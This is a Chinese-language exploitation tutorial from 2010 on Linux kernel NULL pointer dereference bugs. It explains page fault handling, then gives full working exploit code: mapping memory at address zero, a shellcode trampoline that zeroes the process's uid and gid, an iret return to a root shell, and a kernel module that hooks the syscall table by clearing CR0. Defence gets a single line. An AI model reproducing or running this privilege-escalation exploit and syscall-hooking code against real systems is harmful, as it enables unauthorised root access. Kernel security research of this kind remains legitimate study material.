| 
 
|  | Author: wzt Home: http://hi.baidu.com/wzt85
 date: 2010/06/13
 Version: 0.3
 
 目录:
 1、引言
 2、NULL Pointer是如何引发OOPS的
 3、如何Exploit
 4、攻击实验
 5、NULL Pointer与Selinux的关系
 6、如何防御NULL Pointer漏洞
 7、附录
 
 1、引言
 在最近一系列的Linux kernel本地溢出漏洞中, 大部分是由于内核引用一个空指针而引发的, 看NULL Pointers的一个示例:
 当内核代码引用一个空指针的时候, 内核打印如下OOPS信息, 并死机:
 
 Kernel NULL pointer dereference test.
 BUG: unable to handle kernel NULL pointer dereference at virtual address 00000000
 printing eip:
 00000000
 *pde = 00000000
 Oops: 0000 [#5]
 SMP
 Modules linked in: sys autofs4 ip_conntrack_netbios_ns ipt_REJECT xt_state ip_conntrack nfnetlink xt_tcpudp iptable_filter ip_tables x_tables dm_multipath video sbs i2c_ec button battery asus_acpi ac lp floppy i2c_piix4 i2c_core pcspkr parport_pc parport pcnet32 serio_raw mii ide_cd cdrom dm_snapshot dm_zero dm_mirror dm_mod ext3 jbd mbcache
 CPU:    1
 EIP:    0060:[<00000000>]    Not tainted VLI
 EFLAGS: 00010286   (2.6.18 #34)
 EIP is at _stext+0x3efffd6c/0x3c
 eax: 00000029   ebx: f20c85c0   ecx: 00000046   edx: 00000000
 esi: 004b5ca0   edi: f20c85c3   ebp: f1afd000   esp: f1afdf9c
 ds: 007b   es: 007b   ss: 0068
 Process test (pid: 3542, ti=f1afd000 task=dfc3ed70 task.ti=f1afd000)
 Stack: f8a81197 f8a8131d f8a81315 00000002 f20c85c0 bfbedc2e bfbedc30 c1003d10
 bfbedc2e 00000001 bfbedc2e 004b5ca0 bfbedc30 bfbebe38 ffffffda 0000007b
 c100007b 0000003b 08048454 00000073 00000286 bfbebe24 0000007b 00000000
 Call Trace:
 [<f8a81197>] new_kernel_null_pointer_test+0x69/0x76 [sys]
 [<c1003d10>] syscall_call+0x7/0xb
 Code:  Bad EIP value.
 EIP: [<00000000>] _stext+0x3efffd6c/0x3c SS:ESP 0068:f1afdf9c
 
 2、NULL Pointer是如何引发OOPS的
 
 要想exploit这种bug, 就必须先要了解内核是如何处理空指针引用的。
 在程序的执行过程中,因为遇到某种障碍而使CPU无法最终访问到相应的物理内存单元,即无法完成从虚拟地址到物理地址映射的时候,
 CPU 会产生一次缺页异常,从而进行相应的缺页异常处理。 那么都在什么情况下会引发缺页异常呢,我们分别从用户空间和内核空间来看:
 
 用户空间:
 1、 进程访问本身地址空间
 ---> 访问一个无效的内存地址(如mmap后,又unmap的一块内存)。
 ---> 由于用户堆栈用完导致的越界访问(用户进程堆栈空间已被用完, 又有一次函数调用发生,这时push/pusha指令被写到进程的堆中。
 ---> 访问一个还未曾映射的空间。
 2、进程访问其他进程空间
 3、进程通过非系统调用方式访问内核空间。
 
 
 内核空间:
 1、中断程序,不可延迟程序,临界区代码访问用户空间(可能引起休眠)。
 2、内核线程访问访问用户空间。(内核线程不能访问用户空间)。
 3、内核访问用户空间(通过系统调用进入内核,有进程的上下文current)
 ---> 访问当前进程空间。内核写一个只读的内存。
 ---> 访问其他进程空间。通过系统调用的参数传递到内核空间的,但是线性地址不属于当前进程。
 ---> 内核bug或硬件错误访问一个用户空间地址。 如空指针引用bug。
 4、访问内核空间。试图写一个没被映射的内核地址。
 
 引起缺页异常可以在用户空间和内核空间中触发, 当CPU捕获到这个异常的时候就会引发一次缺页异常中断。由do_page_fault()函数来
 判断和处理这些异常。 我们看下内核是怎么处理引用NULL pointer这个异常的:
 
 fastcall void __kprobes do_page_fault(struct pt_regs *regs,
 unsigned long error_code)
 {
 struct task_struct *tsk;
 struct mm_struct *mm;
 struct vm_area_struct * vma;
 unsigned long address;
 unsigned long page;
 int write, si_code;
 
 /* 先通过cr2寄存器得到引发异常的那个线性地址 */
 address = read_cr2();
 
 tsk = current;
 
 si_code = SEGV_MAPERR;
 
 /* 接着判断一下这个线性地址是不是发生于内核空间 */
 if (unlikely(address >= TASK_SIZE)) {
 /* 如果是内核引用了一内核空间中一处无效地址,则通过vmalloc_fault进行修复 */
 if (!(error_code & 0x0000000d) && vmalloc_fault(address) >= 0)
 return;
 if (notify_page_fault(DIE_PAGE_FAULT, "page fault", regs, error_code, 14,
 SIGSEGV) == NOTIFY_STOP)
 return;
 /* 如果不是继续跳转到bad_area_nosemaphore继续分析原因 */
 goto bad_area_nosemaphore;
 }
 
 /* 以下用于处理线性地址处于用户空间的情况, 注意内核和用户程序都有可能引用一个无效的用户地址 */
 if (regs->eflags & (X86_EFLAGS_IF|VM_MASK))
 local_irq_enable();
 
 mm = tsk->mm;
 
 /* 中断程序,不可延迟程序,临界区代码不能访问用户空间, 跳到bad_area_nosemaphore继续分析原因 */
 if (in_atomic() || !mm)
 goto bad_area_nosemaphore;
 
 if (!down_read_trylock(&mm->mmap_sem)) {
 /* 内核访问用户空间, 通过系统调用的参数传递到内核空间的,但是线性地址不属于当前进程。*/
 if ((error_code & 4) == 0 &&
 !search_exception_tables(regs->eip))
 goto bad_area_nosemaphore;
 down_read(&mm->mmap_sem);
 }
 bad_area:
 up_read(&mm->mmap_sem);
 
 bad_area_nosemaphore:
 /* User mode accesses just cause a SIGSEGV */
 if (error_code & 4) {
 /* 如果是用户进程访问了其他进程的空间,就杀死当前进程 */
 if (is_prefetch(regs, address, error_code))
 return;
 
 tsk->thread.cr2 = address;
 /* Kernel addresses are always protection faults */
 tsk->thread.error_code = error_code | (address >= TASK_SIZE);
 tsk->thread.trap_no = 14;
 force_sig_info_fault(SIGSEGV, si_code, address, tsk);
 return;
 }
 
 /* 如果是由于内核自己访问了用户空间的无效地址,则就会引发OOPS,
 if (oops_may_print()) {
 /* 如果这个地址小于PAGE_SIZE, 一般为4096字节,内核就认为这是一次空指针操作, 开始打印OOPS信息,杀死当前进程 */
 if (address < PAGE_SIZE)
 printk(KERN_ALERT "BUG: unable to handle kernel NULL "
 "pointer dereference");
 else
 printk(KERN_ALERT "BUG: unable to handle kernel paging"
 " request");
 printk(" at virtual address %08lx\n",address);
 printk(KERN_ALERT " printing eip:\n");
 printk("%08lx\n", regs->eip);
 }
 page = read_cr3();
 page = ((unsigned long *) __va(page))[address >> 22];
 if (oops_may_print())
 printk(KERN_ALERT "*pde = %08lx\n", page);
 
 force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk);
 }
 
 3、如何Exploit
 3-1、攻击原理。
 
 在前面我们知道了内核是如何处理一个NULL pointer引用的: eip停止在0x0处, 打印OOPS信息,然后死机。 我们也知道对于黑客来讲
 只有在普通权限下能触发的kernel null pointer漏洞才是有用的,可以帮助黑客有机会提升进程权限。OK, 既然发生OOPS的时候eip停留在
 内存0x0地址上, 那么用户进程只要能把shellcode放置在内存0地址上,并且kernel可以去运行用户进程的shellcode而不崩溃,那么就达到了
 提权权限的目的。
 
 3-2、将代码映射到0地址内存。
 Linux系统提供了一个系统调用mmap, 可以通过建立匿名映射配合MAP_FIXED标志将用户空间代码映射到内存0地址。
 mmap(0x0, 0x1000, PROT_READ | PROT_WRITE| PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
 我们看看内核是怎么实现的:
 asmlinkage long sys_mmap2(unsigned long addr, unsigned long len,
 unsigned long prot, unsigned long flags,
 unsigned long fd, unsigned long pgoff)
 {
 int error = -EBADF;
 struct file *file = NULL;
 struct mm_struct *mm = current->mm;
 
 flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);
 /* 注意到如果没设置MAP_ANONYMOUS属性, 就要根据fd来获得文件file指针, 攻击程序设置了MAP_ANONYMOUS,并把fd,offset都设为0
 来建立一次匿名映射 */
 if (!(flags & MAP_ANONYMOUS)) {
 file = fget(fd);
 if (!file)
 goto out;
 }
 
 down_write(&mm->mmap_sem);
 /* do_mmap_pgoff才是映射的主体 */
 error = do_mmap_pgoff(file, addr, len, prot, flags, pgoff);
 up_write(&mm->mmap_sem);
 
 if (file)
 fput(file);
 out:
 return error;
 }
 
 我们从此处只关心建立匿名映射的过程:
 unsigned long do_mmap_pgoff(struct file * file, unsigned long addr,
 unsigned long len, unsigned long prot,
 unsigned long flags, unsigned long pgoff)
 {
 ...
 /* 用来验证和找到一个可以映射参数addr的内存地址 */
 addr = get_unmapped_area_prot(file, addr, len, pgoff, flags, prot & PROT_EXEC);
 ...
 }
 
 get_unmapped_area_prot(struct file *file, unsigned long addr, unsigned long len,
 unsigned long pgoff, unsigned long flags, int exec)
 {
 ...
 /* 如果没设置MAP_FIXED选项,就要从进程地址1G以上的空间中选取一块未用内存进行映射 */
 if (!(flags & MAP_FIXED)) {
 unsigned long (*get_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
 
 if (exec && current->mm->get_unmapped_exec_area)
 get_area = current->mm->get_unmapped_exec_area;
 else
 get_area = current->mm->get_unmapped_area;
 
 if (file && file->f_op && file->f_op->get_unmapped_area)
 get_area = file->f_op->get_unmapped_area;
 addr = get_area(file, addr, len, pgoff, flags);
 if (IS_ERR_VALUE(addr))
 return addr;
 }
 ...
 }
 所以通过以上对内核代码的分析,我们可以用MAP_ANONYMOUS和MAP_FIXED参数来把用户代码映射到0内存处。
 
 3-3、内核为什么可以运行用户空间映射来的代码
 
 0地址上的代码是由用户自己通过mmap映射的, 当用户进程去触发这个kernel bug的时候,是通过系统调用进入内核空间,内核通过进程上下文current
 代表进程继续执行, 当eip执行到了一个0x0地址时,它开始执行用户空间映射过来的代码, 由于有进程上下文,又是在内核态, 所以可以修改当前
 进程的任何信息包括内核其他代码。
 
 3-4、如何写shellcode
 我们最主要的目的是当内核引用一个NULL Pointer的时候去执行我们的shellcode,  此时是内核来执行shellcode, 所以shellcode可以修改当前
 进程current的uid, gid字段使其变为0, 从而使当前进程获得root权限,然后在系统调用完成返回用户空间的时候执行一个bash, 来获得可爱的#字符。
 在用mmap完成映射的时候,要将shellcode放置在内存0x0处:
 *(char *)0 = '\x90';
 *(char *)1 = '\xe9';
 *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
 
 即为:NOP+JMP+KERNEL_CODE。 *(unsigned long *)2为什么要设置为kernel_code - 6呢?
 jmp指令后面跟的是偏移地址, 为kernel_code减去jmp指令的下一条指令的地址。 由于是从0x0地址开始算偏移的nop, jmp本身各占一个字节,在加上
 偏移地址占用的4个字节, 1+1+4 = 6。
 kernel_code才是真正的shellcode, 我们的目的是修改current的uid,gid为0, 所以可以在获得current指针后,暴力搜索current结构,匹配
 用户进程的uid和gid,发现后将其改为0,即可。
 
 struct task_struct {
 ……
 /* process credentials */
 uid_t uid,euid,suid,fsuid;
 gid_t gid,egid,sgid,fsgid;
 ……
 }
 
 void kernel_code()
 {
 int i;
 uint *p = get_current(); // 获得当前进程的current指针。
 
 for (i = 0; i < 1024-13; i++) {
 /*  暴力搜索uid, euid,suid,fsuid, gid, egid, sgid,fsgid */
 if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid &&
 p[7] == gid) {
 p[0] = p[1] = p[2] = p[3] = 0;
 p[4] = p[5] = p[6] = p[7] = 0;
 p = (uint *) ((char *)(p + 8) + sizeof(void *));
 p[0] = p[1] = p[2] = ~0;
 break;
 }
 p++;
 }
 // 重新更新堆栈中寄存器值。 替内核执行iret指令, 结束系统调用返回用户空间。
 exit_kernel();
 }
 
 // 获得当前内核的current指针, 跟内核的实现方式一样
 static inline __attribute__((always_inline)) void *get_current()
 {
 unsigned long curr;
 __asm__ __volatile__ (
 "movl %%esp, %%eax ;"
 "andl %1, %%eax ;"
 "movl (%%eax), %0"
 : "=r" (curr)
 : "i" (~8191)
 );
 return (void *) curr;
 }
 
 // 当发生系统调用中断的时候, 还没进入系统调用服务历程的时候,CPU是自动把user cs, ip, cflags, user ess, xx压入内核堆栈,
 当执行iret返回用户空间的时候将其pop出来, 使得用户程序得以继续运行。exit_kernel要做的就是修改当前堆栈,重新设置用户空间的
 cs值为用户空间的值, eip值为exit_code, 当内核回到用户空间的时候就会去执行exit_code, exit_code通常只要执行一个bash即可。
 static inline __attribute__((always_inline)) void exit_kernel()
 {
 __asm__ __volatile__ (
 "movl %0, 0x10(%%esp) ;"
 "movl %1, 0x0c(%%esp) ;"
 "movl %2, 0x08(%%esp) ;"
 "movl %3, 0x04(%%esp) ;"
 "movl %4, 0x00(%%esp) ;"
 "iret"
 : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
 "i" (USER_CS), "r" (exit_code)
 );
 }
 
 注意内核执行完exit_kernel()函数后, 当前进程就以从内核空间切回到用户空间了, 此时进程已经具备uid为0的权限,我们的exploit程序
 可以随意的调用c库中的任何函数了。
 void exit_code()
 {
 if (getuid() != 0) {
 fprintf(stderr, "failed\n");
 exit(-1);
 }
 printf("[+] We are root!\n");
 execl("/bin/sh", "sh", "-i", NULL);
 }
 
 
 4、实验
 在了解了攻击原理和怎样写shellcode后, 我们开始做实验,验证下我们的想法是不是对的。 这里我故意加载一个有NULL pointer引用的
 内核模块, 它给当前系统增加了一个系统调用, 然后我们的用户程序引用这个系统调用的时候, 就会发生一次OOPS:
 
 void (*test)(void) = NULL;
 
 asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
 {
 char *buff = NULL;
 char *p = NULL;
 
 buff = (char *)kmalloc(len + 1, GFP_KERNEL);
 if (!buff) {
 printk("kmalloc failed.\n");
 return 0;
 }
 
 
 if (copy_from_user(buff, buf, len)) {
 printk("copy data from user failed.\n");
 return 0;
 }
 buff[len + 1] = '\0';
 printk("%d: %s\n", strlen(buff), buff);
 
 printk("Kernel NULL pointer dereference test.\n");
 test();
 
 return 1;
 }
 
 先装入模块
 [root@localhost test]# insmod /root/exploit/module/sys.ko
 然后运行exploit程序:
 int main(void) {
 void *page;
 
 uid = getuid();
 gid = getgid();
 
 setresuid(uid, uid, uid);
 setresgid(gid, gid, gid);
 
 if ((personality(0xffffffff)) != PER_SVR4) {
 if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
 perror("mmap");
 return -1;
 }
 } else {
 if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
 perror("mprotect");
 return -1;
 }
 }
 printf("[+] Mmap zero memory ok.\n");
 
 *(char *)0 = '\x90';
 *(char *)1 = '\xe9';
 *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
 
 new_kernel_null_pointer_test("abcd", 4);
 }
 [wzt@localhost ~]$./exp
 [+] Mmap zero memory ok.
 [+] We are root!
 sh-3.2#
 看到可爱的#号了吧, 我们成功了!
 
 5、NULL Pointer与Selinux的关系
 略过
 
 6、如何防御Kernel NULL Pointer 0day攻击
 /proc/sys/vm/mmap_min_addr设置为大于4096的值或者关闭selinux.
 
 7. 附录
 7-1. hook examle
 #include <linux/init.h>
 #include <linux/module.h>
 #include <linux/version.h>
 #include <linux/kernel.h>
 #include <linux/spinlock.h>
 #include <linux/smp_lock.h>
 #include <linux/fs.h>
 #include <linux/file.h>
 #include <linux/dirent.h>
 #include <linux/string.h>
 #include <linux/unistd.h>
 #include <linux/socket.h>
 #include <linux/net.h>
 #include <linux/tty.h>
 #include <linux/tty_driver.h>
 #include <net/sock.h>
 #include <asm/uaccess.h>
 #include <asm/unistd.h>
 #include <asm/siginfo.h>
 
 #include "hook.h"
 
 unsigned int system_call_addr = 0;
 unsigned int sys_call_table_addr = 0;
 spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;
 
 asmlinkage int (*orig_printk)(const char *fmt, ...);
 void (*test)(void) = NULL;
 
 unsigned int get_sct_addr(void)
 {
 int i = 0, ret = 0;
 
 for (; i < 500; i++) {
 if ((*(unsigned char*)(system_call_addr + i) == 0xff)
 && (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
 && (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
 ret = *(unsigned int *)(system_call_addr + i + 3);
 break;
 }
 }
 
 return ret;
 }
 
 asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
 {
 char *buff = NULL;
 char *p = NULL;
 
 buff = (char *)kmalloc(len + 1, GFP_KERNEL);
 if (!buff) {
 printk("kmalloc failed.\n");
 return 0;
 }
 
 
 if (copy_from_user(buff, buf, len)) {
 printk("copy data from user failed.\n");
 return 0;
 }
 buff[len + 1] = '\0';
 printk("%d: %s\n", strlen(buff), buff);
 
 printk("Kernel NULL pointer dereference test.\n");
 test();
 
 return 1;
 }
 
 static int hook_init(void)
 {
 struct descriptor_idt *pIdt80;
 
 __asm__ volatile ("sidt %0": "=m" (idt48));
 
 pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
 
 system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
 if (!system_call_addr) {
 DbgPrint("oh, shit! can't find system_call address.\n");
 return 0;
 }
 DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);
 
 sys_call_table_addr = get_sct_addr();
 if (!sys_call_table_addr) {
 DbgPrint("oh, shit! can't find sys_call_table address.\n");
 return 0;
 }
 DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);
 
 sys_call_table = (void **)sys_call_table_addr;
 
 lock_kernel();
 CLEAR_CR0
 sys_call_table[59] = new_kernel_null_pointer_test;
 SET_CR0
 unlock_kernel();
 
 printk("install hook ok.\n");
 }
 
 static void hook_exit(void)
 {
 lock_kernel();
 CLEAR_CR0
 
 SET_CR0
 unlock_kernel();
 
 DbgPrint("uninstall hook ok.\n");
 }
 
 module_init(hook_init);
 module_exit(hook_exit);
 
 MODULE_LICENSE("GPL");
 MODULE_AUTHOR("wzt");
 
 7-2. kernel null pointer攻击模板。
 #include <stdio.h>
 #include <sys/socket.h>
 #include <sys/user.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <inttypes.h>
 #include <sys/reg.h>
 #include <unistd.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/mman.h>
 #include <sys/personality.h>
 #include "syscalls.h"
 
 static unsigned int uid, gid;
 
 #define USER_CS 0x73
 #define USER_SS 0x7b
 #define USER_FL 0x246
 #define STACK(x) (x + sizeof(x) - 40)
 
 void exit_code();
 char exit_stack[1024 * 1024];
 
 int (*kernel_printk)(const char *fmt, ...);
 
 #define __NR_new_kernel_null_pointer_test       59
 
 static inline my_syscall2(long, new_kernel_null_pointer_test, char *, buff, int, len);
 int errno;
 
 static inline __attribute__((always_inline)) void *get_current()
 {
 unsigned long curr;
 __asm__ __volatile__ (
 "movl %%esp, %%eax ;"
 "andl %1, %%eax ;"
 "movl (%%eax), %0"
 : "=r" (curr)
 : "i" (~8191)
 );
 return (void *) curr;
 }
 
 static inline __attribute__((always_inline)) void exit_kernel()
 {
 __asm__ __volatile__ (
 "movl %0, 0x10(%%esp) ;"
 "movl %1, 0x0c(%%esp) ;"
 "movl %2, 0x08(%%esp) ;"
 "movl %3, 0x04(%%esp) ;"
 "movl %4, 0x00(%%esp) ;"
 "iret"
 : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
 "i" (USER_CS), "r" (exit_code)
 );
 }
 
 void kernel_code()
 {
 int i;
 uint *p = get_current();
 
 for (i = 0; i < 1024-13; i++) {
 if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
 p[0] = p[1] = p[2] = p[3] = 0;
 p[4] = p[5] = p[6] = p[7] = 0;
 p = (uint *) ((char *)(p + 8) + sizeof(void *));
 p[0] = p[1] = p[2] = ~0;
 break;
 }
 p++;
 }
 
 exit_kernel();
 }
 
 void exit_code()
 {
 if (getuid() != 0) {
 fprintf(stderr, "failed\n");
 exit(-1);
 }
 printf("[+] We are root!\n");
 execl("/bin/sh", "sh", "-i", NULL);
 }
 
 void test_code(void)
 {
 kernel_printk = 0xc0424ae3;
 
 kernel_printk("We are in kernel.\n");
 }
 
 int main(void) {
 void *page;
 
 uid = getuid();
 gid = getgid();
 
 setresuid(uid, uid, uid);
 setresgid(gid, gid, gid);
 
 if ((personality(0xffffffff)) != PER_SVR4) {
 if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
 perror("mmap");
 return -1;
 }
 } else {
 //if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
 if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE ) < 0) {
 perror("mprotect");
 return -1;
 }
 }
 printf("[+] Mmap zero memory ok.\n");
 
 *(char *)0 = '\x90';
 *(char *)1 = '\xe9';
 *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
 
 new_kernel_null_pointer_test("abcd", 4);
 }
 
 
 |   
|  |  |